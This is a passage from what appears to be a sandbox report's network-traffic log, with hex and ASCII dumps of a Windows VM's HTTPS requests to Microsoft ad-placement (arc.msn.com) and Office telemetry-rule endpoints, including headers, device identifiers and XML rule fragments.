&lo=598480&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598480&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 Cache-Control: no-cache MS-CV: 7cz3JHKxI0e7Od7q.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-23 20:59:07 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 1408 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: XkFgYzyApbcgukQW1so0eK+WRK+FaMGzhr//1U7ydQqrNBmFUzJyyLIUFvgi7H6ifzz2tZ5OqMw/cf9/uy+SMcvxNDt+H4ISQO55o/lgQ7xaEk285ZFNAt49jxqYuX2YtFMPBHbpxXVLT+FEOT6jnIzbOKtvS6xKu45gE8C/DmpgaHeTFyvDfDhMryOkIYkIRrK8zmMi2oZGSnFoHG6PwBMoQ1jKwm0UYSV76PcYpI1Yqchen3eQd1uu8yvLYr/+HvnTXzItA4/6mVyP1UCiiH3A6IsorSAXL8iQbwxd0Rz1+xvH2V7hzts0FQNTfHFckSybBAZal2EBXu2udwVYlQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 20:59:06 GMT Connection: close
2024-11-23 20:59:07 UTC	1408	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 45 6d 70 74 79 43 72 65 61 74 69 76 65 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 6b 69 6e 67 5c Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"EmptyCreative\",\"propertyManifest\":{},\"properties\":{},\"tracking\

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49710	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:06 UTC	1572	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20231005T064724Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=51fb7dfa7cd947db9ff3def1f8c6fa3a&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598480&metered=false&nettype=ethernet&npid=sc-338389&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598480&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 Cache-Control: no-cache MS-CV: 7cz3JHKxI0e7Od7q.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-23 20:59:07 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2930 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116219-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: SsMTi6Yb83gV5mBP+kxn6uqNfm7ZYMEFdh5/DdvTZI33AL3wE4AEyjjVG3cxsWlbOKVuVFP3wpGx8Un3aFKaW5aOz38HcyHh4MGbagFFBLe2UEtjsIx3UrtcVL63duQx5He93PTOKNJjFVYlwHmJ2syREneCh29LSHmuaoHmX1Nm6HwRrfwMYKBUpC3UteA0PKRdZl9DuE3G3e0FjVdQXAIdByaY4QNKOBFmxJdIWxocL/9qEW3vRSm+7zNzCsG0X8ZpKPafU5hwc1R2K2eXaSw75FaE0RAhvWP8EZIvlwbN5jf/qb6oFB/wkyFQbX6IKK5ebUk9UUnbfEn72o+8Lw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 20:59:06 GMT Connection: close
2024-11-23 20:59:07 UTC	2930	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:13 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:13 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:13 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 22 Nov 2024 01:49:48 GMT ETag: "0x8DD0A97F285E80B" x-ms-request-id: 91a9dc6d-001e-0028-4620-3dc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205913Z-174c587ffdfb485jhC1TEBmc1s00000003a0000000008kwg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:13 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-23 20:59:13 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-23 20:59:13 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-23 20:59:13 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-23 20:59:13 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-23 20:59:14 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-23 20:59:14 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-23 20:59:14 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-23 20:59:14 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-23 20:59:14 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49718	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:14 UTC	2587	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T205910Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=0c2b4eb4a2c944979d68c8318b2a64f4&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598481&metered=false&nettype=ethernet&npid=sc-280815&oemName=ejofer%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=ejofer20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598481&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAT5kCsploOOBN1NkLGQEPVHIgc6cJXN6B5MMTduJtvTy7coKa+m9TTQNhtjhmZHiSRyQV4POKMY5FSpixY5RZVZ7rTVQdpThCDECpwQZT7KiZzIntr+2txA4Axk77Yx9Wogya/wvHhPEBkR5Fv/S2zWQ8Aba/9XEMcP3rJfzhlWP/XvSIAp9tlxV6beP4fQSIhATnxSgAvmbOn+Hw3ktIbhlozy8knXTyra0/wRuW6WbYu421+T5RqAxf+CTBq71HnjeexrziPkJoHO23HfIbAAQOSj7SsLjEeL5Bnledv8Vw5R+wixbLzex9iLUznBtkGVo6B7cBH1mdu8FgGg2AcMQZgAAEJdx+m+rtyGY1rv4fslCkKSwAabWhBB0PKb3rcNHgu8xOHSESde0m0tmRiBcTGqTbA0UdkmFiomMR6JW6MagxLjZ9fIBAnWKC2SzlXYnEIrVDyt6nTGk2SwNtQtccXqrP/lzRvslQ8/tOzpaCfPnUpibvRc9E1L9XbGfrbHtVden3n3VZS/719ctrH7X5IzD68TtR0uuxH3hlGG0YfhPpILGwLHiiKvkyF2zjRxRA3V0Vixhx+Fq4ok/K8RRHAUpUDh0EV6CmJ/WsMf4V486eJriDFx+d5h8RO5/gxK1LNhKofUb58WJxMqwdcH8h0C4zAGvqKMY9im/GPZPg3Fb+uy5MpoZ+Dd9SE7WLyMdrFV1hvdpHnvAC31eokRLGS/38lvafeIuz7yqd7hv/c+Neoo1D/bTXMyYFgOYTJq7qOVv5llyUIUwUw0+LU1/o746emvkkuWntB1zV/4hHPsxbkLEDTwrTOSO3EwEu0O5gmCi2UXFnTXBpdoATl6JXR09oIP0j8PYvjujr6TDv3e/HPEjBmjxDzX9sbPhfaXzxlwQjDIxuY++Qu5svZPwiA1eFwlB5FpZXCryM0cgOp30EfYoc9cB&p= Cache-Control: no-cache MS-CV: /lue5tXAKkeTwIj4.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
